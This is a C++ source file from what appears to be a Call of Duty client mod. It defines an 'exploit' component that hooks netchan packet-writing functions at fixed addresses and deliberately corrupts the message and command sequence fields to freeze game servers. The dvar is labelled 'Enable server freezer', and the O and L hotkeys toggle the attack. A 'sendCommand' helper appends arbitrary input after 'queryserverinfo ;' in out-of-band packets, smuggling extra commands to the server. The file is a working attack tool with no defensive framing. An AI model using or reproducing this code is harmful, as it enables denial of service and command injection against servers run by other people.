2022-07-03 13:33:17 +02:00

113 lines
3.5 KiB
C++

#include <std_include.hpp>
#include "../loader/component_loader.hpp"
#include <utils/hook.hpp>
#include "command.hpp"
#include "key_catcher.hpp"
#include "console.hpp"
namespace exploit {
game::dvar_t* cl_exploit;
/*
* void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3)
* A brief description of data: the first few bytes contain information from
* clientConnection_t structure Offset 0: ServerID Size : 1 Offset 1:
* serverMessageSequence Size: 4 Offset 5: serverCommandSequence Size: 4 One
* clean way of sending invalid data to the server is to hook the functions
* that write the info to the packet Credit:
* https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
*/
void write_message_sequence(game::msg_t* msg, int data) {
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
msg->overflowed = TRUE;
return;
}
if (cl_exploit->current.enabled)
data = (data & 0xFFFFFF00) | 0xAAu;
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;
msg->cursize += sizeof(int);
}
void write_command_sequence(game::msg_t* msg, int data) {
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
msg->overflowed = TRUE;
return;
}
if (cl_exploit->current.enabled)
data = (data & 0x00FFFFFF) | (0x80u << 24);
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;
msg->cursize += sizeof(int);
}
class component final : public component_interface {
public:
void post_unpack() override {
cl_exploit = game::Dvar_RegisterBool("cl_exploit", false, game::DVAR_NONE,
"Enable server freezer");
add_exploit_commands();
add_key_hooks();
utils::hook(0x420B76, write_message_sequence, HOOK_CALL).install()->quick();
utils::hook(0x420B86, write_command_sequence, HOOK_CALL).install()->quick();
}
private:
static void add_key_hooks() {
key_catcher::on_key_press(
"O", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
command::execute("exploit");
});
key_catcher::on_key_press(
"L", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
command::execute("undoExploit");
});
key_catcher::on_key_press(
"K", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
command::execute("disconnect");
});
}
static void add_exploit_commands() {
command::add("exploit", []([[maybe_unused]] const command::params& params) {
game::Dvar_SetBool(cl_exploit, true);
console::info("Enabled cl_exploit");
});
command::add("undoExploit",
[]([[maybe_unused]] const command::params& params) {
game::Dvar_SetBool(cl_exploit, false);
console::info("Disabled cl_exploit");
});
command::add(
"sendCommand", []([[maybe_unused]] const command::params& params) {
if (params.size() < 2)
return;
if (*game::connectionState <= game::connstate_t::CA_CHALLENGING)
return;
const auto cmd = std::format("queryserverinfo ;{}", params.join(1));
console::info("Sending OOB packet {}", cmd);
game::NET_OutOfBandPrint(game::NS_SERVER,
game::localClientConnection->serverAddress,
cmd.data());
});
}
};
} // namespace exploit
REGISTER_COMPONENT(exploit::component)